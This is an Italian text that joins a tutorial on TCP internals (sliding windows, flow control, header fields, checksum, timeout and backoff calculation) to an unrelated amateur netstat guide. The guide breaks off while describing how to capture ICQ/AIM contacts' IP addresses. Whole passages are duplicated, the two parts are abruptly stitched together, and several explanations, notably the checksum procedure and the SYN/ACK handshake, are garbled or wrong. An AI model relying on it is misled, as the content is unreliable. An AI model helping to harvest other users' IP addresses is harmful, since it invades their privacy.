La gestione dei dati: Vediamo adesso come TCP gestisce i dati. Innanzi tutto, come già detto, TCP vede i dati come una sequenza non strutturata di ottetti, cioè byte, detto flusso di dati (data stream). Questo flusso viene diviso in segmenti ognuno dei quali viaggia di solito in un singolo pacchetto IP. Per aumentare l'efficienza della trasmissione, TCP utilizza una versione particolare del meccanismo a finestre di scorrimento spiegato sopra. Ricordo che questo meccanismo consiste nel mandare un gruppetto di dati prima di aver ricevuto la conferma di ricezione di ogni singolo pacchetto, in modo da tenere costantemente sotto carico la linea. Se infatti si dovesse attendere la conferma di ricezione per

ogni singolo pacchetto prima di spedire il successivo la linea resterebbe per la maggior parte del tempo inutilizzata. Si dà insomma fiducia alla rete, partendo dal presupposto che la perdita di dati sia l'eccezione piuttosto che la regola.
Esistono tuttavia due importanti differenze tra il meccanismo base presentato prima e quello più sofisticato utilizzato effettivamente da TCP.
La prima è che l'unità base per i dati non è né il segmento né il pacchetto IP ma il singolo ottetto. Ogni ottetto viene numerato e TCP mantiene tre puntatori per ogni flusso di dati in uscita: uno che separa gli ottetti già spediti e arrivati felicemente a destinazione da quelli di cui non si hanno ancora notizie, uno che separa quelli già spediti da quelli che devono ancora essere spediti senza attendere la conferma di ricezione per i precedenti ottetti, e uno che separa questi ultimi da quelli che non possono essere spediti fintanto che la finestra non scorre in avanti. Una serie di informazioni speculari è mantenuta dal destinatario che deve ovviamente ricostruire il flusso di dati nel modo corretto indipendentemente dall'ordine di arrivo dei dati. Dato che una connessione è full-duplex, TCP manterrà quindi per ogni connessione due finestre di scorrimento, una per i dati in uscita e una per quelli in ingresso: un totale di quattro finestre per connessione considerando entrambi gli estremi. Esiste quindi un'asimmetria rispetto al meccanismo base dove l'unità dati utilizzata nella finestra di scorrimento era la stessa utilizzata nella trasmissione. Qui TCP utilizza il segmento come unità dati da trasmettere, mentre ragiona in termini di ottetti per quello che riguarda il meccanismo di ritrasmissione.
La seconda differenza è che le dimensioni della finestra di scorrimento non sono fisse ma variano nel tempo in funzione della capacità di ricezione del destinatario. Ogni conferma di ricezione che ritorna al mittente contiene una soglia di capacità (window advertisement) che contiene il numero di ulteriori ottetti che il destinatario è in grado di ricevere. In pratica questo meccanismo permette di adattare la finestra di spedizione alle dimensioni del buffer di ricezione. Si tratta cioè di un meccanismo di controllo del flusso dei dati che limita il numero dei dati in ingresso man mano che il buffer di ricezione si riempie, fino a poter interrompere momentaneamente la trasmissione nel caso che si sia raggiunta la massima capacità di ricezione del destinatario. Basta infatti che il destinatario mandi una soglia uguale a zero perché il mittente interrompa la spedizione degli ottetti fino all'arrivo di una conferma di ricezione contenente di nuovo una soglia maggiore di zero.
In realtà il mittente non smette del tutto di mandare dati. Innanzi tutto, se ci sono dati urgenti da spedire, il mittente informa comunque il destinatario di tale necessità trasmettendo un segmento con un indicatore di urgenza al suo interno. Questo permette al destinatario di prendere delle contromisure per ricevere comunque i dati urgenti, per esempio aumentando le dimensioni del buffer. In secondo luogo, è sempre possibile che la conferma con soglia positiva che dovrebbe far ripartire la trasmissione dei dati vada perduta. Per questo motivo il mittente prova ogni tanto a far partire un segmento per vedere se per caso il destinatario è di nuovo pronto a ricevere i dati.
Il controllo di flusso: Il controllo del flusso dei dati è un aspetto estremamente importante in un sistema in cui sono collegate macchine anche molto differenti fra loro per dimensioni e capacità di trasmissione . Per controllo del flusso si intende la possibilità di regolare dinamicamente la quantità di dati che vengono immessi nella rete. Non solo è importante che il destinatario possa regolare la velocità di spedizione in funzione della sua capacità di ricezione, ma è fondamentale che ogni gateway intermedio possa frenare il flusso dei dati che riceve per evitare di entrare in saturazione. Il meccanismo appena descritto della soglia di capacità permette di risolvere il primo problema, non il secondo. Quest'ultimo è detto congestione, ed è estremamente importante perché non tenerne conto vuol dire mandare in tilt la rete.
Lo standard TCP non prevede alcun meccanismo di controllo della congestione, lasciando agli implementatori di tale protocollo il non banale compito di sviluppare una logica capace di evitare questo tipo di problemi.

Per quello che riguarda i segmenti, il fatto che TCP sia libero di dividere il flusso in segmenti può a volte causare problemi dal punto di vista applicativo. Per esempio, supponiamo di implementare via TCP/IP un terminale remoto. Questo vuol dire che tutte le operazioni effettuate con la tastiera e il mouse su di una macchina (chiamiamola locale) saranno visibili su di un'altra macchina (remota) come se esse fossero state effettuate dalla tastiera e dal mouse della macchina remota. Non solo: sarà possibile vedere lo schermo della macchina remota all'interno di una finestra della macchina locale . Questo tipo di applicazioni è molto utile per esempio se per un qualche motivo la macchina da controllare non ha una sua tastiera oppure si trova in un locale non generalmente accessibile all'operatore. È evidente che affinché l'applicazione funzioni essa debba lavorare in tempo reale. Se cioè si preme il tasto T sulla tastiera locale, la lettera T deve apparire immediatamente sullo schermo della macchina remota, e quindi apparire anche all'interno della finestra locale che riproduce tale schermo. Lo stesso se si fa click sul pulsante di chiusura di una finestra. Ovviamente se TCP fosse libero di accumulare questi comandi per poi spedirli tutti in una volta l'applicazione sarebbe di difficile utilizzo. Infatti, se l'operatore decidesse di chiudere una finestra dello schermo remoto per accedere un'icona sottostante e TCP non spedisse il comando fintanto che il buffer di partenza non fosse pieno, non sarebbe possibile eseguire l'operazione successiva, cioè
aprire l'icona sulla scrivania del sistema. Per questo motivo TCP prevede la possibilità di forzare la spedizione del buffer (push). Questo tuttavia non è sufficiente. Se infatti TCP che riceve i dati accumulasse gli stessi nel buffer di ricezione prima di passarli all'applicazione destinataria saremmo punto e da capo. Per questo motivo, quando un segmento è forzato in uscita, TCP imposta a uno un certo bit nell'intestazione del segmento in modo che questi possa venire riconosciuto e immediatamente passato all'applicazione remota.
Abbiamo detto che il TCP utilizza il metodo della finestra di scorrimento per tenere la rete sempre impegnata al massimo della sua capacità e che esiste un'importante differenza tra il meccanismo generale e quello più sofisticato utilizzato effettivamente dal TCP. Tale differenza consiste in un'asimmetria rispetto al meccanismo base dove l'unità dati utilizzata nella finestra di scorrimento era la stessa utilizzata nella trasmissione. Il TCP utilizza il segmento come unità dati da trasmettere, mentre ragiona in termini di ottetti per quello che riguarda il meccanismo di ritrasmissione. Questo comporta una complicazione nella gestione delle conferme di ricezione (acknowledgement).
A causa dell'asimmetria suddetta, la ritrasmissione in caso di mancata ricezione non avviene per segmenti, ma a livello di ottetti. Questo vuol dire che un segmento può contenere contemporaneamente sia nuovi dati sia una parte dei dati persi in precedenza. Ovviamente a queste condizioni ha poco senso numerare semplicemente i segmenti e usare questo identificativo nelle conferme di ricezione. Né è pensabile di usare i datagrammi IP a tale scopo, dato che questi sono generalmente di lunghezza fissa mentre i vari segmenti TCP sono di lunghezza variabile. Ne consegue che l'unico modo per gestire le conferme è quello di ragionare in termini di cursore all'interno del flusso di dati. Come dire "ho ricevuto i primi 300 caratteri della lettera che mi hai spedito".
Ecco che cosa accade: ogni segmento contiene la posizione dell'area dati del segmento TCP all'interno del flusso di dati. Tale posizione si chiama numero di sequenza (sequence number) ed è calcolata in byte. Il destinatario estrae i vari ottetti dai segmenti ricevuti e li ricompone per ricostruire il flusso dei dati, utilizzando i numeri di sequenza per riordinare i vari segmenti.
Questi possono infatti arrivare in qualunque ordine, o essere andati persi. A questo punto, chi sta ricevendo i dati, avrà ricostruito in modo completo una parte del messaggio originario e si ritroverà alcuni dati in eccesso che non sono contigui alla parte di flusso ricostruito. Ogni volta che il destinatario riceve un segmento, manda indietro nella conferma di ricezione il numero di sequenza dell'ottetto che si aspetta di ricevere per continuare la ricostruzione, cioè il valore dell'ultimo ottetto della parte contigua ricostruita più uno.

Immaginate di dover spedire una lettera a un vostro amico. Il TCP negozia con la controparte la lunghezza massima del segmento, come vedremo più avanti. Quindi inizia a riempire il primo segmento un carattere alla volta. Quando il segmento è pieno viene spedito e viene fatto partire il contatore a tempo per quel segmento. Quindi il TCP inizia a riempire il secondo segmento, che parte regolarmente, e così dicendo. Man mano che i segmenti partono arrivano dalla controparte le conferme di ricezione. Supponiamo che
a un certo punto, dopo aver spedito 450 ottetti, arrivi per due volte al mittente la conferma che il destinatario è riuscito a ricostruire il flusso fino al 300° carattere e che si aspetta il 301°. È evidente che qualcosa è andato storto e che si sono persi dei dati. Il TCP allora spedisce un segmento che contiene di nuovo dal 301° carattere in poi, diciamo fino al 400°. Dato che i caratteri dal 370° al 450° erano comunque arrivati regolarmente, il successivo messaggio di conferma richiederà direttamente il 451° carattere, e non il 401°.
Vantaggi e svantaggi: Un vantaggio è che il valore di conferma è estremamente semplice da calcolare e di immediata comprensione. Inoltre, se una conferma di ricezione va persa, non è detto che questo causi automaticamente la ritrasmissione dei dati. Ci sarà comunque la conferma successiva che fornirà l'indicazione esatta del punto a cui è arrivato il destinatario nel ricostruire il flusso.
Lo svantaggio più grosso è che il mittente non ha modo di sapere quanti dati siano effettivamente arrivati con successo al destinatario, dato che basta un buco nel flusso per far segnalare come validi un numero di byte molto inferiore a quelli effettivamente ricevuti. Questo crea seri problemi al mittente, che non sa se ritrasmettere tutti i dati successivi, e quindi sprecare tempo a ritrasmettere dati già arrivati, o trasmettere solo una piccola parte e aspettare la conferma che il potenziale buco si è chiuso. Entrambi gli schemi sono alquanto inefficienti. Sta allo sviluppatore dello stack TCP/IP decidere quali algoritmi utilizzare, tenendo presente che un algoritmo troppo complesso ha comunque lo svantaggio di avere potenzialmente basse prestazioni.
Un altro punto importante è il calcolo della lunghezza ottimale del segmento. Abbiamo detto più sopra che ogni conferma di ricezione contiene una soglia di capacità (window advertisement) la quale specifica il numero di ulteriori ottetti che il destinatario è in grado di ricevere. Questo meccanismo permette di adattare la finestra di spedizione alle dimensioni del buffer di ricezione. Tuttavia è anche necessario definire la lunghezza del segmento oltre che in funzione delle capacità di trasmissione del mittente e di ricezione del destinatario, anche e soprattutto in funzione delle caratteristiche della rete, come per esempio la grandezza massima del frame fisico, o Maximum Transfer Unit (MTU). La lunghezza massima di un segmento, o Maximum Segment Size (MSS), viene calcolata appunto sulla base dell'MTU se entrambi gli estremi della connessione si trovano nella stessa rete fisica, altrimenti lo standard raccomanda di utilizzare un valore di 536 byte, equivalente alla dimensione normale di un datagramma IP meno le dimensioni standard delle intestazioni IP e TCP sommate insieme, 40 byte appunto.
Tale calcolo è ovviamente solo un primo tentativo di ottimizzare l'utilizzo della rete da parte del TCP. Durante la trasmissione il TCP può modificare tale valore in funzione della situazione contingente. Non esiste tuttora un algoritmo standard per definire il giusto valore per l'MSS, data la complessità del problema. Una cattiva definizione dell'MSS può seriamente penalizzare la comunicazione. Se il segmento è troppo piccolo, il rapporto tra i dati trasmessi e quelli utilizzati nella trasmissione stessa è sfavorevole. Per esempio, un segmento di cinque byte utilizza solo un ottavo della larghezza di banda (bandwidth) disponibile, dato che per ogni cinque byte di dati ce ne sono ben quaranta di intestazione. Viceversa, se il segmento è molto grande, altrettanto è il datagramma IP. Se il datagramma è più grande dell'MTU, verrà spezzato in più frammenti non indipendenti fra loro, per cui basta che si perda un solo frammento per perdere tutto il datagramma e di conseguenza il segmento TCP.
Il controllo di flusso: Il controllo del flusso dei dati è un aspetto estremamente importante in un sistema in cui sono collegate macchine anche molto differenti fra loro per dimensioni e capacità di trasmissione

. Per controllo del flusso si intende la possibilità di regolare dinamicamente la quantità di dati che vengono immessi nella rete. Non solo è importante che il destinatario possa regolare la velocità di spedizione in funzione della sua capacità di ricezione, ma è fondamentale che ogni gateway intermedio possa frenare il flusso dei dati che riceve per evitare di entrare in saturazione. Il meccanismo descritto della soglia di capacità permette di risolvere il primo problema ma non il secondo. Quest'ultimo è detto congestione, ed è estremamente importante perché non tenerne conto vuol dire mandare in tilt la rete. Lo standard TCP non prevede alcun meccanismo di controllo della congestione, lasciando agli implementatori di tale protocollo il non banale compito di sviluppare una logica capace di evitare questo tipo di problemi.
Per quello che riguarda i segmenti, il fatto che il TCP sia libero di dividere il flusso in segmenti può a volte causare problemi dal punto di vista applicativo. Per esempio, supponiamo di implementare via TCP/IP un terminale remoto. Questo vuol dire che tutte le operazioni effettuate con la tastiera e il mouse su di una macchina (chiamiamola locale) saranno visibili su di un'altra macchina (remota) come se esse fossero state effettuate dalla tastiera e dal mouse della macchina remota. Non solo: sarà possibile vedere lo schermo della macchina remota all'interno di una finestra della macchina locale . Questo tipo di applicazioni è molto utile per esempio se per un qualche motivo la macchina da controllare non ha una sua tastiera oppure si trova in un locale non generalmente accessibile all'operatore. È evidente che affinché l'applicazione funzioni essa debba lavorare in tempo reale. Se cioè si preme il tasto T sulla tastiera locale, la lettera T deve apparire immediatamente sullo schermo della macchina remota, e quindi apparire anche
all'interno della finestra locale che riproduce tale schermo. Lo stesso se si fa click sul pulsante di chiusura di una finestra. Ovviamente se il TCP fosse libero di accumulare questi comandi per poi spedirli tutti in una volta l'applicazione sarebbe di difficile utilizzo. Infatti, se l'operatore decidesse di chiudere una finestra dello schermo remoto per accedere un'icona sottostante e il TCP non spedisse il comando fintanto che il buffer di partenza non fosse pieno, non sarebbe possibile eseguire l'operazione successiva, cioè aprire l'icona sulla scrivania del sistema. Per questo motivo il TCP prevede la possibilità di forzare la spedizione del buffer (push). Questo tuttavia non è sufficiente. Se infatti il TCP che riceve i dati accumulasse gli stessi nel buffer di ricezione prima di passarli all'applicazione destinataria saremmo punto e da capo. Per questo motivo, quando un segmento è forzato in uscita, il TCP imposta a uno un certo bit nell'intestazione del segmento in modo che questi possa venire riconosciuto e immediatamente passato all'applicazione remota. Esiste poi la possibilità che il TCP debba spedire dei dati che non fanno parte del flusso normale e che vanno immediatamente gestiti dalla controparte indipendentemente dallo stato in cui si trova la ricostruzione del messaggio originario. Tali dati sono detti urgenti, e anche in questo caso esiste un bit nell'intestazione del segmento che informa il destinatario del fatto che il segmento va gestito immediatamente. Il concetto è analogo a quello del BREAK da tastiera. Se avete lanciato un
programma che va in loop è necessario poterlo interrompere senza dover far ripartire il sistema. Su molti sistemi operativi basta premere una sequenza di tasti, come per esempio Control-C (^C) per bloccare l'esecuzione del programma. Similarmente, se un estremo della connessione deve bloccare (o sbloccare) l'elaborazione del flusso di dati dall'altra parte, dovrà poter mandare un messaggio urgente che abbia la precedenza rispetto ai normali segmenti di dati. Si dice che tale messaggio è fuori banda (out of band).
Benché il TCP presenti all'utente una visione continua dei dati, detta flusso, l'unità di trasferimento dei dati del TCP è il segmento. Un segmento è formato come al solito da una intestazione e da un'area dati. Al contrario del datagramma IP, il segmento ha dimensioni variabili nel tempo, cioè i vari segmenti spediti a fronte di uno stesso flusso possono avere lunghezze differenti. I segmenti sono utilizzati dal TCP per aprire e chiudere una connessione, trasferire dati, spedire conferme di ricezione e modificare la finestra di spedizione, quel meccanismo che garantisce un utilizzo ottimale della rete, come spiegato

in precedenza. Due caratteristiche peculiari del TCP sono che lo stesso segmento può portare contemporaneamente sia dati veri e propri sia dati di controllo, e che le informazioni di controllo possono riferirsi sia allo stesso flusso dell'area dati, sia al flusso opposto (piggybacking).
L'intestazione: Innanzitutto abbiamo i numeri di porta del mittente e del destinatario, esattamente come nell'UDP. Come già nell'UDP, infatti, gli indirizzi IP delle due controparti sono contenuti nell'intestazione del datagramma IP. Al contrario di quanto avveniva nell'UDP, tuttavia, la conoscenza da parte del TCP degli indirizzi IP non rompe il paradigma che vuole un certo isolamento fra le responsabilità dei vari livelli dello stack. Il TCP infatti, architetturalmente, ragiona in termini di connessioni, e queste comprendono sia l'informazione relativa alle porte, sia quella relativa agli indirizzi IP. Anzi, ogni qual volta l'IP consegna un segmento al TCP, gli passa anche gli indirizzi IP contenuti nell'intestazione del datagramma.
Anche nel caso del segmento TCP la verifica della correttezza dell'intestazione da parte del destinatario viene effettuata utilizzando un meccanismo di somma di controllo con pseudointestazione. All'interno dell'intestazione TCP, infatti, esiste un campo chiamato somma di controllo (checksum). Il TCP imposta inizialmente tale campo di 16 bit a zero. Costruisce quindi una psedointestazione che contiene gli indirizzi IP del mittente e del destinatario, il numero di protocollo del sottosistema di trasmissione (nel caso del TCP basato su IP è sei) e la lunghezza del segmento TCP compresa l'intestazione. A questo punto appende alla pseudo intestazione il segmento IP e aggiunge alla fine dello stesso tanti zeri quanti ne servono per far sì che il blocco risultante sia un multiplo di parole da 16 bit (padding). Divide quindi il blocco in parole da 16 bit e ne calcola la somma a complemento uno. Il risultato viene quindi salvato nel campo apposito dell'intestazione e sia la pseudointestazione sia i bit aggiunti in fondo vengono rimossi prima di spedire il segmento. Il destinatario ovviamente effettuerà un calcolo analogo per verificare che il valore di controllo così ottenuto corrisponda con quello arrivato nell'intestazione del segmento.
Nell'intestazione ci sono tre campi calcolati in ottetti. Il primo è il numero di sequenza (sequence number), che rappresenta la posizione dell'area dati del segmento TCP all'interno del flusso di dati. Il secondo è il numero di conferma (acknowledgement number), ovverosia il numero di sequenza dell'ottetto che il mittente si aspetta di ricevere per continuare la ricostruzione. Da notare che tale valore corrisponde al flusso opposto rispetto a quello in cui viaggia il segmento che lo contiene. Il terzo campo è il puntatore ai dati "urgenti". Come detto prima, è possibile che il TCP debba spedire dei dati urgenti che vanno elaborati indipendentemente dal flusso normale di dati, e con priorità rispetto a quest'ultimo. In questo caso il segmento contiene un segnalatore (flag) che informa il destinatario della presenza d'informazioni urgenti nell'area dati. I dati urgenti sono posizionati all'inizio dell'area dati, e il puntatore in questione indica dove tali dati finiscono e dove ricominciano i dati normali, se ce ne sono.
I segnalatori: Separati da un'area riservata per usi futuri c'è il campo che contiene la posizione dell'area dati nel segmento e un blocco di sei segnalatori. Il primo, misurato in parole da 32 bit, indica di fatto la lunghezza dell'intestazione del segmento in tale unità di misura. questo campo è necessario in quanto in fondo all'intestazione esiste una zona riservata a eventuali opzioni che rende la lunghezza dell'intestazione non fissata a priori. Il secondo campo contiene invece sei indicatori. Data infatti nel segmento la presenza contemporanea, almeno in potenza, sia di dati di controllo sia di dati applicativi normali e urgenti, è necessario utilizzare dei segnalatori per informare il destinatario su cosa effettivamente contiene il segmento. Tutti i segnalatori sono attivi se impostati a uno, inattivi altrimenti. Il primo segnalatore indica se l'area dati contiene dati urgenti. Il secondo indica la presenza nel segmento di una conferma di ricezione valida. Dato infatti che il campo corrispondente esiste sempre e comunque nell'intestazione, se il segmento non trasporta alcuna conferma di ricezione è necessario informare in qualche modo il destinatario che tale campo va ignorato. Il terzo bit è posto a uno quando si vuole forzare la trasmissione dei dati all'utente finale indipendentemente dal fatto che il

buffer di ricezione sia o meno completamente riempito. Il quarto segnalatore serve per interrompere immediatamente la connessione (reset). Tale evento avviene solo in situazioni eccezionali e causa l'interruzione immediata delle trasmissioni da ambo le parti e il rilascio del contenuto dei buffer di ricezione. Il quinto bit è detto di sincronizzazione, ed è utilizzato durante la fase iniziale di negoziazione della connessione, detta in gergo handshake. In pratica, i segmenti scambiati quando questo bit è impostato a uno servono a sincronizzare i numeri di sequenza delle due controparti prima d'iniziare la trasmissione vera e propria dei dati. L'ultimo bit serve a informare il destinatario che il mittente intende terminare in modo pulito la connessione e che non ha più dati da spedire. All'apertura e alla chiusura della connessione il TCP utilizza un algoritmo chiamato saluto a tre vie (three-way handshake) che garantisce la corretta sincronizzazione delle due operazioni.
L'ultimo campo fisso è quello relativo alla soglia di capacità del mittente (window advertisement) che contiene il numero di ulteriori ottetti che esso è in grado di ricevere. A questo punto è di nuovo importante ricordare il concetto di piggybacking, a cui già si è accennato. Ovverosia, ogni segmento può portare contemporaneamente informazioni in cui una controparte è vista sia come chi spedisce i dati contenuti nel segmento, cioè come mittente, sia come chi ha ricevuto o deve ricevere dati dall'altro capo della connessione, cioè come destinatario. Quando noi parliamo di mittente, per evitare confusione, ci riferiamo sempre al mittente del segmento di cui stiamo parlando. È importante comunque tenere sempre presente che alcuni dati del segmento hanno senso solo se si considera il mittente quale destinatario di dati precedenti o ancora da venire.
In fondo all'intestazione c'è un'area opzionale che può essere utilizzata a vari scopi. In genere essa contiene opzioni che permettono alle due controparti di negoziare alcuni aspetti della comunicazione. Un esempio è il calcolo della lunghezza ottimale del segmento.
L'implementazione del protocollo TCP: Abbiamo visto che tutto il meccanismo funziona ed è affidabile grazie alle conferme di ricezione e alla ritrasmissione dei pacchetti probabilmente andati perduti. Ma come fa a sapere il mittente che un pacchetto è andato effettivamente perduto? Ovviamente perché non è arrivata la conferma di ricezione, direte voi. Va bene, ma quanto devo aspettare tale conferma prima di assumere che sia necessaria una ritrasmissione? E qui son dolori. Se aspetto troppo rischio di rallentare la comunicazione in modo inaccettabile. Se aspetto troppo poco rischio di ritrasmettere inutilmente troppi segmenti, magari semplicemente un po' in ritardo. Tutto il sistema si basa sul calcolo del tempo di attesa massimo, o timeout. Il TCP calcola il timeout sulla base del tempo intercorso fra la spedizione di un segmento e l'arrivo della conferma corrispondente. Sembra facile, ma non è così. Vediamo rapidamente i punti chiave del discorso.
Il TCP calcola continuamente il timeout, ogni volta che arriva una conferma di ricezione. In questo modo il sistema è sempre aggiornato in funzione dello stato effettivo della connessione e della rete.
Il timeout è calcolato come media pesata dei tempi intercorsi fra la spedizione del segmento e la ricezione della conferma. Chiamiamo quest'ultimo tempo rilevato di andata e ritorno (Round Trip Sample) o RTS. Il tempo stimato di andata e ritorno (Round Trip Time) è calcolato utilizzando una specifica formula. In pratica ogni nuovo RTS pesa più o meno sul calcolo dell'RTT in base al valore di alfa. Se alfa è molto vicina a zero, l'RTT varia rapidamente a ogni cambiamento dell'RTS, per cui il sistema risponde rapidamente alle variazioni. Se viceversa alfa è vicina a uno, è necessario che la nuova RTS rimanga stabile più a lungo per avere effetto sull'RTT.

A questo punto il timeout viene calcolato moltiplicando l'RTT per un valore maggiore di uno. Se il valore di beta è troppo vicino a uno la perdita di un pacchetto viene immediatamente rilevata, ma si rischia di ritrasmettere più pacchetti del necessario. Se viceversa beta è troppo alto si rischia di aspettare troppo a lungo prima di ritrasmettere un pacchetto perso, abbassando così le prestazioni della connessione. In genere si raccomanda per beta un valore di due.

Una scelta difficile: La scelta di alfa e di beta sembra dunque essere critica, ma i problemi non sono ancora finiti. Infatti, se un segmento è trasmesso due volte, quando arriva la conferma di ricezione, a chi si riferisce? Al pacchetto originale o a quello ritrasmesso? Se usiamo il primo pacchetto per il calcolo dell'RTS rischiamo di far crescere esponenzialmente il valore di timeout. Infatti un pacchetto è ritrasmesso quando scade il timeout precedente. Di conseguenza il nuovo RTS è ovviamente più grande del vecchio timeout. Se viene perso un nuovo pacchetto l'RTS cresce ancora, e così via. Se usiamo il pacchetto ritrasmesso abbiamo il problema opposto, cioè il timeout rischia di ridursi sempre di più, o almeno si è dimostrato sperimentalmente che si stabilizza su valori alquanto bassi. Supponiamo infatti di avere un ritardo in rete: la conferma di ricezione arriva conseguentemente in ritardo. Nel frattempo il mittente ha rispedito il pacchetto che credeva perso. Appena arriva la conferma questa è associata al segmento ritrasmesso generando così un RTS molto piccolo. Il timeout si riduce, aumentando il rischio di considerare persi pacchetti la cui conferma di ricezione arriva in ritardo, e così via.
P. Karn propose nel 1987 d'ignorare i pacchetti ritrasmessi nel calcolo del timeout. Questo evitava il problema suddetto, ma ne creava un altro. Se un pacchetto è ritrasmesso perché si è avuto un repentino calo di prestazioni della rete, il timeout rimarrà sempre troppo basso, in quanto il mittente continuerà a ritrasmettere pacchetti le cui conferme arrivano in ritardo rispetto al timeout calcolato prima del calo di prestazioni. Dato che tali conferme vengono regolarmente ignorate per il calcolo dell'RTT, il timeout non viene più aggiornato almeno fintanto che la rete non torna normale, cosa per giunta complicata dal sovraccarico dovuto all'inutile ritrasmissione dei pacchetti. La soluzione consiste nell'aumentare il timeout precedente a una ritrasmissione di un fattore arbitrario, diciamo gamma, fino a un limite massimo ragionevole calcolato sulla base dei possibili cammini all'interno della rete . In genere gamma non è minore di due.
Questa tecnica è detta di backoff.
Conclusione: Implementare il protocollo TCP non è certo banale. Il che tra l'altro fa capire come non tutti i pacchetti TCP siano uguali: anzi, è proprio il contrario. Una scelta oculata degli algoritmi implementativi può fare seriamente la differenza fra un prodotto e un altro. Il fatto che essi implementino lo stesso standard non dà alcuna indicazione sulla qualità delle prestazioni dello stack che state utilizzando. Se poi alcuni parametri possono essere personalizzati dall'utente, una opportuna calibrazione del programma studiata sulle caratteristiche specifiche della vostra rete, può modificare significativamente i tempi di risposta del sistema. Naturalmente non è fra gli scopi di questi articoli entrare nel dettaglio di tutte le problematiche TCP/IP.

IL COMANDO NETSTAT

Indice dei contenuti:

INTRODUZIONE

Salve grazie per stare leggendo questo testo per imparare di più sull'uso di netstat affinchè ti sia di aiuto.
Per favore non curarti di qualsiasi errore di ortografia, punteggiatura o grammaticale.
Questo testo è scritto in modo che anche il lettore medio lo possa comprenderlo.
Non per complicarlo. Per favore siate liberi di inviarmi email.

I. Uso di Netstat

- (Per aprire netstat) - Per aprire Netstat devi fare come segue:
Clicca sul pulsante [avvio] --> poi clicca su [programmi] --> poi cerca [prompt di Ms-Dos].
Netstat è uno strumento davvero utile che ha molti usi. Io personalmente uso netstat per prendere gli indirizzi IP di altri utenti con cui sto parlando su ICQ o AIM. Puoi usare netstat anche per monitorare l'attività delle tue porte contro aggressori che inviano richieste di syn (parte del TCP/IP 3-way-handshake) o solo per vedere quali porte stanno in attesa/in collegamento. Guarda l'esempio sotto per una rappresentazione media di una risposta alla digitazione di [netstat] al prompt 'c:\'

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
C:\WINDOWS>netstat

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    pavilion:25872         WARLOCK:1045           ESTABLISHED
  TCP    pavilion:25872         sy-as-09-112.free.net.au:3925  ESTABLISHED
  TCP    pavilion:31580         WARLOCK:1046           ESTABLISHED
  TCP    pavilion:2980          205.188.2.9:5190       ESTABLISHED
  TCP    pavilion:3039          24.66.10.101.on.wave.home.com:1031  ESTABLISHED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

Adesso guarda sull'esempio. Vedrai [Proto] nell'angolo in alto a sinistra.
Questo ti dice se il protocollo è TCP/UDP ecc. Affianco a destra vedrai [Local Address] questo ti dice le porte aperte dell'hostname/IP locale.
Ancora più a destra vedrai [Foreign Address] questo ti darà l'IP/hostname della persona e la porta nel formato dell'IP: porta con ":" nel mezzo tra porta ed IP/hostname.
E alla fine vedrai [state] che semplicemente dichiara lo stato della connessione.
Questo può essere ESTABLISHED(stabilita) se si è connessi o LISTENING se si è in attesa di una connessione.
Adesso con queste conoscenze ci tufferemo nel profondo di come usare questo comando per il monitoraggio dell'attività delle porte e la scoperta di porte aperte in uso.

II. Individuazione delle porte aperte

Adesso stai notando che qualcosa di buffo sta accadendo sul tuo computer? Lo sportellino del tuo lettore cd-rom sta diventando pazzo... aprendosi e chiudendosi benchè tu non faccia niente. E tu dirai che cazzo sta succedendo... oppure capirai che qualcuno si stia divertendo con un trojan sul tuo computer.
Adesso il tuo obbiettivo è localizzare quale trojan sia per poterlo rimuovere giusto? Bene hai ragione.
Allora vai al prompt di ms-dos. Ora ci sono molti modi di usare netstat e sotto c'è un menu di aiuto.
Esaminalo.
~~~~~~~~~~~~~~~~~~~~~~~~~
C:\WINDOWS>netstat -?

Visualizza statistiche su protocollo e connessioni di rete TCP/IP correnti.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [intervallo]

  -a   Visualizza tutte le connessioni e le porte di ascolto.
  -e   Visualizza le statistiche Ethernet. L'opzione può essere
                associata all'opzione -s.
  -n   Visualizza gli indirizzi e i numeri di porta in forma numerica.
  -p proto   Visualizza connessioni del protocollo specificato da 'proto';
                'proto' può essere TCP o UDP. Se usato con l'opzione -s per le
                statistiche, 'proto' può essere TCP, UDP, o IP.
  -r   Visualizza la tabella di routing.
  -s   Visualizza le statistiche per protocollo. Per impostazione
                predefinita, le statistiche sono visualizzate per TCP, UDP
                e IP; l'opzione -p può essere utilizzata per specificare
                un sottoinsieme dell'impostazione predefinita.
  intervallo   Rivisualizza le statistiche selezionate, interrompendo
                per un numero di secondi pari a "intervallo" tra ogni
                visualizzazione. Premere CTRL+C per fermare la visualizzazione
                delle statistiche. Se omesso, netstat stamperà le informazioni
                di configurazione correnti una sola volta.
~~~~~~~~~~~~~~~~~~~~~~~~~
Io personalmente preferisco usare (c:\windows\netstat -an) che mostra tutte le connessioni e le porte aperte nella forma dell'IP invece che dell'hostname. Così come puoi notare come abbia usato il comando: netstat -a(mostra tutte le connessioni e le porte in attesa.)n(in formato numerico(IP))
nestat -an -così facendo vengono eseguite le due opzioni alla volta senza bisogno di dover scrivere -a-n.
Adesso che sai come usare netstat per per vedere tutte le tue connessioni e le porte in attesa puoi ricercare porte comuni come 12345 (vecchio trojan netbus), 1243(vecchio subseven) ecc.. questo diventa molto utile per ogni cosa che scoprirai.
Prenditi una pausa adesso e datti una calmata sul tuo divano e rilassati per circa 5 minuti e lascia tutto questa sudata per il ritorno pronto ad imparare di più. :)

III. SYN e ACK

Quando senti SYN e ACK(ACKnowledge) tu non pensi alla comunicazione dei pacchetti sul tuo sistema.

Bene, lasciami dire cosa fanno SYN e ACK.

[SYN] - SYN in parole comuni è una richiesta per una connessione usata nell'handshake 3-way nel TCP/IP. Quando tu mandi una SYN per una connessione, il computer obbiettivo risponderà con una SYN o una ACK. Così principalmente quando vedi nella colonna [state] SYN significa che stai mandando una richiesta per connetterti a qualche cosa.

[ACK] - Adesso l'ACK è la conferma di ricevuta alla richiesta fatta da un computer che sta provando a connettersi con te. Una volta che una SYN ti è stata mandata tu devi rispondere con un ACK, poi mandare indietro un altra SYN al computer che richiede la connessione per confermare che il pacchetto inviato era corretto.
Spero di averti aiutato a capire un pò di più SYN e ACK. Se hai ulteriori domande prova a cercare testi sul TCP/IP.
Adesso andiamo nelle cose divertenti.

IV. Usando Netstat per ICQ e AIM

Avete mai provato a prendere qualche indirizzo IP o hostname usando [AIM] o [ICQ]? Bene siete fortunati.

